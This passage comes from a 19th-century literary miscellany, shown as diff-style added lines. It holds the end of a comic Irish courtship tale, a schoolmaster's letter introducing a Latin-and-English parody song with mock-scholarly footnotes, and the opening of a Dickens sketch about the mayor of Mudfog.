+and a good Catholic; but, d---- it, she had old-world notions about
+family, and in pride the devil was a fool to her. If she came home
+before the ceremony, there would be an endless fuss; and Roger concluded
+by suggesting that we should be married the next evening, and give my
+honoured aunt an agreeable surprise."
+
+That was precisely what I wanted; and a happier man never pressed a
+pillow than I, after my interesting colloquy with the quartermaster.
+
+The last morning of my celibacy dawned. I met Roger only at the
+breakfast table; for my beloved Biddy, between cold and virgin
+trepidation, was _hors de combat_, and signified in a tender billet her
+intention to keep her chamber, until the happy hour arrived that should
+unite us in the silken bonds of Hymen. The quartermaster undertook to
+conduct the nuptial preparations; a friend of his would perform the
+ceremony, and the quieter the thing was done the better. After breakfast
+he set out to complete all matrimonial arrangements, and I strolled into
+the garden to ruminate on my approaching happiness, and bless Heaven for
+the treasure I was destined to possess in Biddy MacGawly.
+
+No place could have been more appropriately selected for tender
+meditation. _There_ was the conscious hedge, that had witnessed the
+first kiss of love; ay, and for naught I knew to the contrary, the
+identical flower-pot on which her sylphic form had rested; sylphic it
+was no longer, for the slender girl had ripened into a stout and comely
+gentlewoman; and she would be mine--mine that very evening.
+
+"Ah! Terence," I said in an undertone, "few men at twenty-one have
+drawn such a prize. A thousand pounds! ready cash--a regiment in
+perspective--a wife in hand; and such a wife--young, artless, tender,
+and attached. By everything matrimonial, you have the luck of thousands!"
+
+My soliloquy was interrupted by a noise on the other side of the
+fence. I looked over. It was my aunt's maid; and great was our mutual
+astonishment. Judy blessed herself; as she ejaculated--"Holy Virgin!
+Master Terence, is that you?"
+
+I satisfied her of my identity, and learned to my unspeakable surprise
+that my aunt had returned unexpectedly, and that she had not the
+remotest suspicion that her affectionate nephew, myself, was cantoned
+within pistol-shot. Without consideration I hopped over the hedge, and
+next minute was in the presence of my honoured protectress, the relict
+of the departed captain.
+
+"Blessed angels!" exclaimed Mrs. O'Finn, as she took me to her arms,
+and favoured me with a kiss, in which there was more blackguard[2] than
+ambrosia. "Arrah! Terence, jewel; what the devil drove ye here? Lord
+pardon me for mentioning him!"
+
+"My duty, dear aunt. I am but a week landed from Jersey, and could not
+rest till I got leave from the colonel to run down between returns, and
+pay you a hurried visit. Lord! how well you look!"
+
+"Ah! then, Terence, jewel, it's hard for me to look well, considering
+the way I have been fretted by the tenants, and afflicted with the
+lumbago. Denis Clark--may the widow's curse follow him wherever he
+goes!--bundled off to America with a neighbour's wife, and a year and a
+half's rent along with her, the thief! And then, since Holland tide, I
+have not had a day's health."
+
+"Well, from your looks I should never have supposed it. But you were
+visiting at Meldrum Castle?"
+
+"Yes, faith, and a dear visit it was. Nothing but half-crown whist,
+and unlimited brag. Lost seventeen points last Saturday night. It was
+Sunday morning, Lord pardon us for playing! But what was that to my luck
+yesterday evening! Bragged twice for large pools, with red nines and
+black knaves; and Mrs. Cooney, both times, showed natural aces! If ever
+woman sold herself, she has. The Lord stand between us and evil! Well,
+Terence, you'll be expecting your quarter's allowance. We'll make it out
+somehow--Heigh-ho! Between bad cards and runaway tenants, I can't attend
+to my soul as I ought, and Holy Week coming!"
+
+I expressed due sympathy for her losses, and regretted that her health,
+bodily and spiritual, was so indifferent.
+
+"I have no good news for you, Terence," continued Mrs. O'Finn. "Your
+brother Arthur is following your poor father's example, and ruining
+himself with hounds and horses. He's a weak and wilful man, and nothing
+can save him, I fear. Though he never treated me with proper respect, I
+strove to patch up match between him and Miss MacTeggart. Five thousand
+down upon the nail, and three hundred a year, failing her mother. I
+asked her here on a visit, and, though he had ridden past without
+calling on me, wrote him my plan, and invited him to meet her. What do
+you think, Terence, was his reply? Why, that Miss MacTeggart might go to
+Bath, for he would have no call to my swivel-eyed customers. There was
+a return for my kindness! as if a woman with five thousand _down_, and
+three hundred a year in expectation, was required to look straight. Ah!
+Terence, I wish you had been here. She went to Dublin, and was picked up
+in a fortnight."
+
+Egad! here was an excellent opportunity to broach my own success. There
+could be no harm in making the commander's widow a _confidante_; and,
+after all, she had a claim upon me as my early protectress.
+
+"My dear aunt, I cannot be surprised at your indignation. Arthur was a
+fool, and lost an opportunity that never may occur again. In fact, my
+dear madam, I intended to have given you an agreeable surprise. I--I--I
+am on--the very brink of matrimony!"
+
+"Holy Bridget!" exclaimed Mrs. O'Finn, as she crossed herself devoutly.
+
+"Yes, ma'am. I am engaged to a lady with two thousand pounds."
+
+"Is it _ready_, Terence?" said my aunt.--"Down on the table, before the
+priest puts on his vestment."
+
+"Arrah--my blessing attend ye, Terence. I knew you would come to good.
+Is she young?"--"Just twenty."
+
+"Is she good-looking?"--"More than that; extremely pretty, innocent, and
+artless."
+
+"Arrah--give me another kiss, for I'm proud of ye;" and Captain O'Finn's
+representative clasped me in her arms.
+
+"But the family, Terence; remember the old stock. Is she one of
+us?"--"She is highly respectable. An only daughter, with excellent
+expectations."
+
+"What is her father, Terence?"--"A soldier, ma'am."
+
+"Lord!--quite enough. He's by profession a gentleman; and we can't
+expect to find every day, descendants from the kings of Connaught,
+like the O'Shaughnessys and the O'Finns. But when is it to take place,
+Terence?"--"Why, faith, ma'am, it was a bit of a secret; but I can keep
+nothing from you."
+
+"And why should ye? Haven't I been to you more than a mother, Terence?"
+
+"I am to be married this evening."
+
+"This evening! Holy Saint Patrick! and you're sure of the money? It's
+not a rent-charge--nothing of bills or bonds?"
+
+"Nothing but bank-notes; nothing but the _aragudh-sheese_."[3]
+
+"Ogh! my blessing be about ye night and day. Arrah, Terence, what's her
+name?"
+
+"You'll not mention it. We want the thing done quietly."
+
+"Augh, Terence; and do you think I would let any thing ye told me slip?
+By this cross,"--and Mrs. O'Finn bisected the forefinger of her left
+hand with the corresponding digit of the right one; "the face of clay
+shall never be the wiser of any thing ye mention!"
+
+After this desperate adjuration there was no refusing my aunt's request.
+
+"You know her well,"--and I looked extremely cunning.
+
+"Do I, Terence? Let me see--I have it. It's Ellen Robinson. No--though
+her money's safe, there's but five hundred ready."
+
+"Guess again, aunt."
+
+"Is it Bessie Lloyd? No--though the old miller is rich as a Jew, he
+would not part a guinea to save the whole human race, or make his
+daughter a duchess."--"Far from the mark as ever, aunt."
+
+"Well," returned Mrs. O'Finn, with sigh, "I'm fairly puzzled."
+
+"Whisper!" and I playfully took her hand, and put my lips close to her
+cheek. "It's--"
+
+"Who?--who, for the sake of Heaven?"--"Biddy MacGawly!"
+
+"Oh, Jasus!" ejaculated the captain's relict, as she sank upon a chair.
+"I'm murdered! Give me my salts, there. Terence O'Shaughnessy, don't
+touch me. I put the cross between us," and she made a crucial flourish
+with her hand. "You have finished me, ye villain. Holy Virgin! what sins
+have I committed, that I should be disgraced in my old age? Meat never
+crossed my lips of a Friday; I was regular at mass, and never missed
+confession; and, when the company were honest, played as fair as every
+body else. I wish I was at peace with poor dear Pat O'Finn. Oh! murder!
+murder!"
+
+I stared in amazement. If Roger MacGawly had been a highwayman, his
+daughter could not have been an object of greater horror to Mrs O'Finn.
+At last I mustered words to attempt to reason with her, but to my
+desultory appeals she returned abuse fit only for a pickpocket to
+receive.
+
+"Hear me, madam."--"Oh, you common _ommadawn_!"[4]
+
+"For Heaven's sake, listen!"--"Oh! that the O'Finns and the
+O'Shaughnessys should be disgraced by a mean-spirited _gommouge_[5] of
+your kind!"
+
+"You won't hear me."--"Biddy MacGawly!" she exclaimed. "Why, bad as
+my poor brother, your father, was--and though he too married a devil
+that has helped to ruin him, she was at all events a lady in her own
+right, and cousin-german to Lord Lowestoffe. But--you--you unfortunate
+disciple."
+
+I began to wax warm, for my aunt complimented me with all the abuse she
+could muster, and there never was a cessation but when her breath failed.
+
+"Why, what have I done? What am I about doing?" I demanded.--"Just
+going," returned Mrs. O'Finn, "to make a Judy Fitzsimmons mother of
+yourself?"
+
+"And is it," said I, "because Miss MacGawly can't count her pedigree
+from Fin Macoul that she should not discharge the duties of a wife?"
+
+My aunt broke in upon me.
+
+"There's one thing certain, that she'll discharge the duties of a
+mother. Heavens! if you had married a girl with only a _blast_,[6]
+your connexions might brazen it out. But a woman in such a barefaced
+condition!--as if her staying in the house these three months could
+blind the neighbours, and close their mouths."
+
+"Well, in the devil's name, will you say what objection exists to Biddy
+MacGawly making me a husband to-night?"--"And a papa in three months
+afterwards!" rejoined my loving aunt.
+
+If a shell had burst in the bivouac, I could not have been more
+electrified. Dark suspicions flashed across my mind--a host of
+circumstances confirmed my doubts; and I implored the widow of the
+defunct dragoon to tell me all she knew.
+
+It was a simple, although, as far as I was concerned, not a flattering
+narrative. Biddy had commenced an equestrian novitiate under the
+tutelage of Lieutenant Hastings. Her progress in the art of horsemanship
+was, no doubt, very satisfactory, and the pupil and the professor
+frequently rode out _tête-à-tête_. Biddy, poor soul! was fearful of
+exhibiting any _mal-addresse_, and of course, roads less frequented
+than the king's highway were generally chosen for her riding lessons.
+Gradually these excursions became more extensive; twilight, and in
+summer too, often fell, before the quartermaster's heiress had returned;
+and on one unfortunate occasion she was absent for a week. This caused
+as desperate commotion in the town; the dowagers and old maids sat
+in judgment on the case, and declared Biddy no longer visitable. In
+vain her absence was ascribed to accident--a horse had run away--she
+was thrown--her ankle sprained--and she was detained unavoidably at a
+country inn until the injury was abated.
+
+In this state of things the dragoons were ordered off; and it was
+whispered that there had been a desperate blow-up between the young
+lady's preceptor the lieutenant, and her papa the quartermaster. Once
+only had Biddy ventured out upon the mall; but she was cut dead by
+her quondam acquaintances. From that day she seldom appeared abroad;
+and when she did, it was always in the evening, and even then closely
+muffled up. No wonder scandal was rife touching the causes of her
+seclusion. A few charitably ascribed it to bad health--others to
+disappointment--but the greater proportion of the fair sex attributed
+her confinement to the true cause, and whispered that Miss MacGawly was
+"as ladies wished to be who love their lords."
+
+Here was a solution to the mystery! It was now pretty easy to comprehend
+why Biddy was swathed like a mummy, and Roger so ready with his cash. No
+wonder the _demoiselle_ was anxious to abridge delay, and the old crimp
+so obliging in procuring a priest and preparing all requisite matters or
+immediate hymeneals. What was to be done? What, but denounce the frail
+fair one, and annihilate that villain her father. Without a word or
+explanation I caught up my hat, and left the house in a hurry, and Mrs.
+O'Finn in a state of nervousness that threatened to become hysterical.
+
+When I reached the quartermaster's habitation, I hastened to my own
+apartment, and got my traps together in double-quick. I intended to have
+abdicated quietly, and favoured the intended Mrs. O'Shaughnessy with an
+epistle communicating the reasons that induced me to decline the honour
+of her hand; but on the landing my worthy father-in-law cut off my
+retreat, and a parting _tête-a-tête_ became unavoidable. He appeared in
+great spirits at the success of his interview with the parson.
+
+"Well, Terence, I have done the business. The old chap made a parcel of
+objections; but he's poor as Lazarus--slily slipped him ten pounds, and
+that quieted his scruples. He's ready at a moment's warning."--"He's a
+useful person," I replied drily; "and all you want is a son-in-law."
+
+"A what?" exclaimed the father of Miss Biddy.--"A son-in-law!"
+
+"Why, what the devil do you mean?"--"Not a jot more or less than what I
+say. You have procured the priest, but I suspect the bridegroom will not
+be forthcoming."
+
+"Zounds, sir! do you mean to treat my daughter with disrespect?"--"Upon
+consideration, it would be hardly fair to deprive my old friend Hastings
+of his pupil. Why, with another week's private tuition Biddy might offer
+her services to Astley."
+
+"Sir,--if you mean to be impertinent,--" and Roger began to bluster,
+while the noise brought the footman to the hall, and Miss Biddy to the
+banisters 'shawled to the nose.' I began to lose temper.
+
+"Why, you infernal old crimp!"--"You audacious young scoundrel!"
+
+"Oh, Jasus! gentlemen! Pace, for the sake of the blessed Mother!" cried
+the butler from below.
+
+"Father, jewel! Terence, my only love!" screamed Miss Biddy, over the
+staircase. "What is the matter?"--"He wants to be off!" roared the
+quartermaster.
+
+"Stop, Terence, or you'll have my life to answer for."--"Lord, Biddy,
+how fat you are grown!"
+
+"You shall fulfil your promise," cried Roger, "or I'll write to the
+Horse Guards, and memorial the commander-in-chief."--"You may memorial
+your best friend, the devil, you old crimp!" and I forced my way to the
+hall.
+
+"Come back, you deceiver!" exclaimed Miss MacGawly.--"Arrah, Biddy, go
+tighten yourself," said I.
+
+"Oh, I'm fainting!" screamed Roger's heiress.
+
+"Don't let him out!" roared her sire.
+
+The gentleman with the beefsteak collar made a demonstration to
+interrupt my retreat, and in return received a box on the ear that sent
+him halfway down the kitchen stairs.
+
+"There," I said, "give that to the old rogue, your master, with my best
+compliments,"--and bounding from the hall-door, Biddy MacGawly, like
+Lord Ullin's daughter, "was left lamenting!"
+
+Well, there is no describing the _rookawn_[7] a blow-up like this,
+occasioned in a country town. I was unmercifully quizzed; but the
+quartermaster and his heiress found it advisable to abdicate. Roger
+removed his household goods to the metropolis--Miss Biddy favoured him
+in due time with a grandson; and when I returned from South America, I
+learned that "this lost love of mine" had accompanied a Welsh lieutenant
+to the hymeneal altar, who, not being "over-particular" about trifles,
+had obtained on the same morning a wife, an heir, and an estate--with
+Roger's blessing into the bargain.
+
+[1] _Anglicè_, a jackstraw.
+
+[2] Coarse Irish snuff.
+
+[3] _Anglicè_, cash down.
+
+[4] _Anglicè_, a fool.
+
+[5] A simpleton.
+
+[6] _Anglicè_, a flaw of the reputation.
+
+[7] _Anglicè_, confusion
+
+
+
+
+             REDDY O'DRYSCULL,
+      SCHOOLMASTER AT WATER-GRASS-HILL,
+
+           TO MR. BENTLEY, PUBLISHER.
+
+SIR,--I write to you concerning the late P.P. of this parish--his soul
+to glory! for, as Virgil says,--and devil a doubt of it,--
+
+    _Candidus insuetum miratur limen Olympi,
+    Sub pedibusque videt nubes et sidera pastor._
+
+His RELIQUES, sir, in two volumes, have been sent down here from Dublin,
+for the use of my boys, by order of the National _Education_ Board,
+with directions to cram the spalpeens all at once with such a power of
+knowledge that they may forget the hunger: which plan, between you and
+me, (though I say it that oughtn't) is all sheer _bladderum-skate_:
+for, as Juvenal maintains, _jejunus stomachus_, &c. &c.--an empty bag
+won't stand; you must first fill it with praties. Give us a poor-law,
+sir, and, trust me, you will hear no more about Rock and repeal; no, nor
+of the _rint_, against which latter humbug the man of God set his face
+outright during his honest and honourable lifetime; for, sir, though
+he differed with Mr. Moore about Irish round towers, and a few French
+roundelays, in _this_ they fully agreed.
+
+As I understand, sir, that you are Publisher in ordinary to his Majesty,
+I intend from time to time conveying through you to the ear of royalty
+some _desiderata curiosa Hyberniæ_ from the pen of the deceased; matters
+which remain _penès me, in scriniis_, to use the style of your great
+namesake. For the present, I merely send you a few classic scraps
+collected by Dr. Prout in some convent abroad; and, wishing every
+success to your Miscellany, am your humble servant,
+                                                      R. O'D.
+
+
+
+
+                    SCRAP, No. 1.             _Water-grass-hill._
+
+There flourishes, I hear, in London, a Mr. HUDSON, whose reputation
+as a comic lyrist, it would seem, has firmly taken root in the great
+metropolis. Many are the laughter-compelling productions of his merry
+genius; but "_Barney Brallaghan's Courtship_" may be termed his
+_opus magnum_. It has been my lot to pick a few dry leaves from the
+laurel-wreath of Mr. Moore, who could well afford the loss: I know not
+whether I can meddle rightly after a similar fashion with _Hudson's_
+bay. Yet is there a strange coincidence of thought and expression,
+and even metre, between the following remnant of antiquity, and his
+never-sufficiently-to-be-encored song.
+
+The original may be seen at Bobbio in the Apennines,--a Benedictine
+settlement, well known as the earliest asylum opened to learning after
+the fall of the Roman Empire. The Irish monk Colombanus had the merit
+of founding it, and it long remained tenanted by natives of Ireland.
+Among them it has been ascertained that DANTE lived for some time, and
+composed Latin verses; but I cannot recognise any trace of _his_ stern
+phraseology in the ballad. It appears rather the production of some
+rustic of the Augustan age; perhaps one of Horace's ploughmen. It is
+addressed to a certain Julia Callapygé, ([Greek: Kallipygê],) a name
+which (for shortness I suppose) the rural poet contracts into Julia
+"CALLAGÉ." I have diligently compared it with the vulgate version, as
+sung by Fitzwilliam at the Freemasons' Tavern; and little doubt can
+remain of its identity and authenticity.
+                                                                P. P.
+
+
+
+
+                 THE SABINE FARMER'S SERENADE;
+      BEING A NEWLY RECOVERED FRAGMENT OF A LATIN OPERA.
+
+               I.                           1.
+    Erat turbida nox           'Twas on a windy night,
+      Horâ secundâ mané          At two o'clock in the morning,
+    Quando proruit vox         An Irish lad so tight,
+      Carmen in hoc inané;       All wind and weather scorning,
+    Viri misera mens           At Judy Callaghan's door,
+      Meditabatur hymen,         Sitting upon the palings,
+    Hinc puellæ flens          His love-tale he did pour,
+      Stabat obsidens limen;     And this was part of his wailings:--
+
+      _Semel tantum dic_        _Only say_
+    _Eris nostra_ LALAGÉ;     _You'll be Mrs. Brallaghan;_
+      _Ne recuses sic,_         _Don't say nay,_
+    _Dulcis Julia_ CALLAGÉ.   _Charming Judy Callaghan._
+
+              II.                           2.
+    Planctibus aurem fer,      Oh! list to what I say,
+      Venere tu formosior;       Charms you've got like Venus;
+    Dic, hos muros per,        Own your love you may,
+      Tuo favore potior!         There's but the wall between us.
+    Voce beatum fac;           You lie fast asleep,
+      En, dum dormis, vigilo,    Snug in bed and snoring;
+    Nocte obambulans hâc       Round the house I creep,
+      Domum planctu stridulo.   Your hard heart imploring.
+
+      _Semel tantum dic_        _Only say_
+    _Eris nostra_ LALAGÉ;     _You'll have Mr. Brallaghan;_
+      _Ne recuses sic,_         _Don't say nay,_
+    _Dulcis Julia_ CALLAGÉ.   _Charming Judy Callaghan._
+
+             III.                           3.
+    Est mihi prægnans sus,     I've got a pig and a sow,
+      Et porcellis stabulum;     I've got a sty to sleep 'em;
+    Villula, grex, et rus[8]   A calf and a brindled cow,
+      Ad vaccarum pabulum;       And a cabin too, to keep 'em;
+    Feriis cerneres me         Sunday hat and coat,
+      Splendido vestimento,      An old grey mare to ride on;
+    Tunc, heus! quàm benè te   Saddle and bridle to boot,
+      Veherem in jumento![9]     Which you may ride astride on.
+
+      _Semel tantum dic_        _Only say_
+    _Eris nostra_ LALAGÉ;     _You'll be Mrs. Brallaghan;_
+      _Ne recuses sic,_         _Don't say nay,_
+    _Dulcis Julia_ CALLAGÉ.   _Charming Judy Callaghan._
+
+              IV.                           4.
+    Vis poma terræ? sum          I've got an acre of ground,
+      Uno dives jugere;            I've got it set with praties;
+    Vis lac et mella,[10] cùm    I've got of 'baccy a pound,
+      Bacchi succo,[11] sugere?    I've got some tea for the ladies;
+    Vis aquæ-vitæ vim?[12]       I've got the ring to wed,
+      Plumoso somnum sacculo?[13]  Some whisky to make us gaily;
+    Vis ut paratus sim           I've got a feather-bed
+      Vel annulo vel baculo?[14]    And a handsome new shilelagh.
+
+      _Semel tantum dic_         _Only say_
+    _Eris nostra_ LALAGÉ;      _You'll be Mrs. Brallaghan;_
+      _Ne recuses sic,_          _Don't say nay,_
+    _Dulcis Julia_ CALLAGÉ.    _Charming Judy Callaghan._
+
+                  V.                        5.
+    Litteris operam das;         You've got a charming eye,
+      Lucido fulges oculo;         You've got some spelling and reading;
+    Dotes insuper quas           You've got, and so have I,
+      Nummi sunt in loculo.        A taste for genteel breeding;
+    Novi quad apta sis[15]       You're rich, and fair, and young,
+      Ad procreandam sobolem!      As everybody's knowing;
+    Possides (nesciat quis?)     You've got a decent tongue
+      Linguam satis mobilem.[16]   Whene'er 'tis set a-going.
+
+      _Semel tantum dic_         _Only say_
+    _Eris nostra_ LALAGÉ;      _You'll be Mrs. Brallaghan;_
+      _Ne recuses sic,_          _Don't say nay,_
+    _Dulcis Julia_ CALLAGÉ.    _Charming Judy Callaghan._
+
+               VI.                          6.
+    Conjux utinam tu             For a wife till death
+      Fieres, lepidum cor, mî!     I am willing to take ye;
+    Halitum perdimus, heu,       But, och! I waste my breath,
+      Te sopor urget. Dormi!       The devil himself can't wake ye.
+    Ingruit imber trux--         'Tis just beginning to rain,
+      Jam sub tecto pellitur       So I'll get under cover;
+    Is quem crastina lux[17]     Tomorrow I'll come again,
+      Referet hùc fidelitèr.       And be your constant lover.
+
+      _Semel tantum dic_         _Only say_
+    _Eris nostra_ LALAGÉ;      _You'll be Mrs. Brallaghan;_
+      _Ne recuses sic,_          _Don't say nay,_
+    _Dulcis Julia_ CALLAGÉ.    _Charming Judy Callaghan._
+
+
+                          NOTULÆ.
+
+[8] NOTUL. 1.
+
+1º in _voce rus_. Nonne potiùs legendum _jus_, scilicet, _ad vaccarum
+pabulum_? De hoc _jure_ apud Nabinos agricolas consule _Scriptores de re
+rustied_ passim. Ita _Beatleius_.
+
+Jus imo antiquissimum, at displicet vox æquivoca; jus etenim a _mess of
+pottage_ aliquande audit, ex. gr.
+
+Omne suum fratri Jacob _jus_ vendidit Esau,
+
+Et Jacob fratri jus dedit omne suum. Itaque, pace Bentleii, stet lectio
+prior.--_Prout._
+
+[9] NOTUL. 2.
+
+_Veherem in jumento._ Curriculo-ne? an ponè sedentem in equi dorso?
+dorsaliter planè. Quid enim dicit Horatius de uxore sic vectà? Nonne
+"_Post equitem sedet atra cura_"?--_Parson._
+
+[10] NOTUL. 3.
+
+_Lac et mella._ Metaphoricè pro _tea_: muliebris est compotatio Græcis
+non ignota, teste Anacreonte,--
+
+[Greek: ThEÊN, thian thiainên,] [Greek: Thilô ligein etairai, k. t. l.]
+_Brougham._
+
+[11] NOTUL. 4.
+
+_Bacchi succo._ Duplex apud poetas antiquiores habebatur hujusce nominis
+numen. Vineam regebat prius: posterius cuidam herbæ exoticæ pracerat quæ
+_tobacco_ audit. Succus utrique optimus.--_Coleridge._
+
+[12] NOTUL. 5.
+
+_Aquæ-vitæ vim_, Anglo-Hybernicè, "_a power of whisky_," [Greek:
+ischys], scilicet, vox pergracca. _Parr._
+
+[13] NOTUL. 6.
+
+_Plumoso sacco._ Plumarum congeriea certè ad somnos invitandos satis
+apta; at mihi per multos annos laneus iste saccus, Ang. _woolsack_,
+fuit apprimè ad dormiendum idoneus. Lites etlam _de iand ut aiunt
+caprind_, soporiferas per annos xxx, exercui. Quot et quam præclara
+somnia!--_Eldon._
+
+[14] NOTUL. 7.
+
+Investitura "_per annulum et baculum_" satis nota. Vide P. Marca de
+Concord. Sacerdotii et Imperii: et Hildebrandi Pont. Max. bullarium.
+_Prout._ Baculo certè dignissim. pontif.--_Maginn._
+
+[15] NOTUL. 8.
+
+_Apta sis._ Quemodo noverit? Vide Proverb. Solomonis cap. xxx. v. 19.
+Nisi forsan tales fuerint puellæ Sabinorum quales impudens iste balatro
+Connelius mentitur esse nostrates. _Blomfield._
+
+[16] NOTUL. 9.
+
+_Linguam mobilem._ Prius enumerat futuræ conjugis bona _immobilis_,
+postea transit ad _mobilia_, Anglicè, _chattel property_. Præclares
+orde sententiarum!--_Car. Wetherell._
+
+[17] NOTUL. 10.
+
+Allusio ad distichon Maronianum, "Nocte pluit totâ, _redeunt spectacula
+manè_." _Prout._ [Greek: k. t. l.]
+
+       *       *       *       *       *
+
+  * *  Our Water-grass-hill correspondent will find scattered throughout
+   *   our pages the other fragments of the defunct _Padre_ which he has
+  placed at our disposal. Every chip from so brilliant an old block may
+  be said to possess a lustre peculiarly its own; hence we have not
+  feared to disperse them up and down our miscellany. They are
+  "gems of the purest whiskey."--_Edit._
+
+  [Illustration: Mr. Tulrumble as Mayor of Mudfog]
+
+
+
+
+           PUBLIC LIFE OF MR. TULRUMBLE,
+                ONCE MAYOR OF MUDFOG.
+
+Mudfog is a pleasant town--a remarkably pleasant town--situated in
+a charming hollow by the side of a river, from which river, Mudfog
+derives an agreeable scent of pitch, tar, coals, and rope-yarn, a
+roving population in oil-skin hats, a pretty steady influx of drunken
+bargemen, and a great many other maritime advantages. There is a good
+deal of water about Mudfog, and yet it is not exactly the sort of town
+for a watering-place, either. Water is a perverse sort of element at
+the best of times, and in Mudfog it is particularly so. In winter,
+it comes oozing down the streets and tumbling over the fields,--nay,
+rushes into the very cellars and kitchens of the houses, with a lavish
+prodigality that might well be dispensed with; but in the hot summer
+weather it _will_ dry up, and turn green: and, although green is a very
+good colour in its way, especially in grass, still it certainly is not
+becoming to water; and it cannot be denied that the beauty of Mudfog is
+rather impaired, even by this trifling circumstance. Mudfog is a healthy
+place--very healthy;--damp, perhaps, but none the worse for that. It's
+quite a mistake to suppose that damp is unwholesome: plants thrive best
+in damp situations, and why shouldn't men? The inhabitants of Mudfog
+are unanimous in asserting that there exists not a finer race of people
+on the face of the earth; here we have an indisputable and veracious
+contradiction of the vulgar error at once. So, admitting Mudfog to be
+damp, we distinctly state that it is salubrious.
+
+The town of Mudfog is extremely picturesque. Limehouse and Ratcliffe
+Highway are both something like it, but they give you a very faint idea
+of Mudfog. There are a great many more public-houses in Mudfog,--more
+than in Ratcliffe Highway and Limehouse put together. The public
+buildings, too, are very imposing. We consider the Town-hall one of the
+finest specimens of shed architecture, extant: it is a combination of
+the pig-sty and tea-garden-box, orders; and the simplicity of its design
+is of surpassing beauty. The idea of placing a large window on one side
+of the door, and a small one on the other, is particularly happy. There
+is a fine bold Doric beauty, too, about the padlock and scraper, which
+is strictly in keeping with the general effect.
+
+In this room do the mayor and corporation of Mudfog assemble together
+in solemn council for the public weal. Seated on the massive wooden
+benches, which, with the table in the centre, form the only furniture of
+the whitewashed apartment, the sage men of Mudfog spend hour after hour
+in grave deliberation. Here they settle at what hour of the night the
+public-houses shall be closed, at what hour of the morning they shall
+be permitted to open, how soon it shall be lawful for people to eat
+their dinner on church-days, and other great political questions; and
+sometimes, long after silence has fallen on the town, and the distant
+lights from the shops and houses have ceased to twinkle, like far-off
+stars, to the sight of the boatmen on the river, the illumination in
+the two unequal-sized windows of the town-hall, warns the inhabitants
+of Mudfog that its little body of legislators, like a larger and
+better-known body of the same genus, a great deal more noisy, and not a
+whit more profound, are patriotically dozing away in company, far into
+the night, for their country's good.
+
+Among this knot of sage and learned men, no one was so eminently
+distinguished, during many years, for the quiet modesty of his
+appearance and demeanour, as Nicholas Tulrumble, the well-known
+coal-dealer. However exciting the subject of discussion, however
+animated the tone of the debate, or however warm the personalities
+exchanged, (and even in Mudfog we get personal sometimes,) Nicholas
+Tulrumble was always the same. To say truth, Nicholas, being an
+industrious man, and always up betimes, was apt to fall asleep when a
+debate began, and to remain asleep till it was over, when he would wake
+up very much refreshed, and give his vote with the greatest complacency.
+The fact was, that Nicholas Tulrumble, knowing that everybody there, had
+made up his mind beforehand, considered the talking as just a long hot
+botheration about nothing at all; and to the present hour it remains a
+question, whether, on this point at all events, Nicholas Tulrumble was
+not pretty near right.
+
+Time, which strews a man's head with silver, sometimes fills his pockets
+with gold. As he gradually performed one good office for Nicholas
+Tulrumble, he was obliging enough, not to omit the other. Nicholas began
+life in a wooden tenement of four feet square, with a capital of two and
+ninepence, and a stock in trade of three bushels and a-half of coals,
+exclusive of the large lump which hung, by way of sign-board, outside.
+Then he enlarged the shed, and kept a truck; then he left the shed, and
+the truck too, and started a donkey and a Mrs. Tulrumble; then he moved
+again and set up a cart; the cart was soon afterwards exchanged for a
+waggon; and so he went on, like his great predecessor Whittington--only
+without a cat for a partner--increasing in wealth and fame, until at
+last he gave up business altogether, and retired with Mrs. Tulrumble and
+family to Mudfog Hall, which he had himself erected, on something which
+he endeavoured to delude himself into the belief was a hill, about a
+quarter of a mile distant from the town of Mudfog.
+
+About this time, it began to be murmured in Mudfog that Nicholas
+Tulrumble was growing vain and haughty; that prosperity and success
+had corrupted the simplicity of his manners, and tainted the natural
+goodness of his heart; in short, that he was setting up for a public
+character, and a great gentleman, and affected to look down upon his
+old companions with compassion and contempt. Whether these reports were
+at the time well-founded, or not, certain it is that Mrs. Tulrumble
+very shortly afterwards started a four-wheel chaise, driven by a tall
+postilion in a yellow cap,--that Mr. Tulrumble junior took to smoking
+cigars, and calling the footman a "feller,"--and that Mr. Tulrumble from
+that time forth, was no more seen in his old seat in the chimney-corner
+of the Lighterman's Arms at night. This looked bad; but, more than
+this, it began to be observed that Mr. Nicholas Tulrumble attended the
+corporation meetings more frequently than heretofore; that he no longer
+went to sleep as he had done for so many years, but propped his eyelids
+open with his two fore-fingers; that he read the newspapers by himself
+at home; and that he was in the habit of indulging abroad in distant
+and mysterious allusions to "masses of people," and "the property of
+the country," and "productive power," and "the monied interest:" all
+of which denoted and proved that Nicholas Tulrumble was either mad, or
+worse; and it puzzled the good people of Mudfog amazingly.
+
+At length, about the middle of the month of October, Mr. Tulrumble and
+family went up to London; the middle of October being, as Mrs. Tulrumble
+informed her acquaintance in Mudfog, the very height of the fashionable
+season.
+
+Somehow or other, just about this time, despite the health-preserving
+air of Mudfog, the Mayor died. It was a most extraordinary circumstance;
+he had lived in Mudfog for eighty-five years. The corporation didn't
+understand it at all; indeed it was with great difficulty that one
+old gentleman, who was a great stickler for forms, was dissuaded from
+proposing a vote of censure on such unaccountable conduct. Strange as
+it was, however, die he did, without taking the slightest notice of
+the corporation; and the corporation were imperatively called upon to
+elect his successor. So, they met for the purpose; and being very full
+of Nicholas Tulrumble just then, and Nicholas Tulrumble being a very
+important man, they elected him, and wrote off to London by the very
+next post to acquaint Nicholas Tulrumble with his new elevation.
+
+Now, it being November time, and Mr. Nicholas Tulrumble being in the
+capital, it fell out that he was present at the Lord Mayor's show and
+dinner, at sight of the glory and splendour whereof, he, Mr. Tulrumble,
+was greatly mortified, inasmuch as the reflection would force itself
+on his mind, that, had he been born in London instead of in Mudfog, he
+might have been a Lord Mayor too, and have patronised the judges, and
+been affable to the Lord Chancellor, and friendly with the Premier,
+and coldly condescending to the Secretary to the Treasury, and have
+dined with a flag behind his back, and done a great many other acts
+and deeds which unto Lord Mayors of London peculiarly appertain. The
+more he thought of the Lord Mayor, the more enviable a personage he
+seemed. To be a King was all very well; but what was the King to the
+Lord Mayor? When the King made a speech, everybody knew it was somebody
+else's writing; whereas here was the Lord Mayor talking away for half
+an hour--all out of his own head--amidst the enthusiastic applause of
+the whole company, while it was notorious that the King might talk to
+his parliament till he was black in the face without getting so much
+as a single cheer. As all these reflections passed through the mind of
+Mr. Nicholas Tulrumble, the Lord Mayor of London appeared to him the
+greatest sovereign on the face of the earth, beating the Emperor of
+Russia all to nothing, and leaving the Great Mogul immeasurably behind.
+
+Mr. Nicholas Tulrumble was pondering over these things, and inwardly
+cursing the fate which had pitched his coal-shed in Mudfog, when the
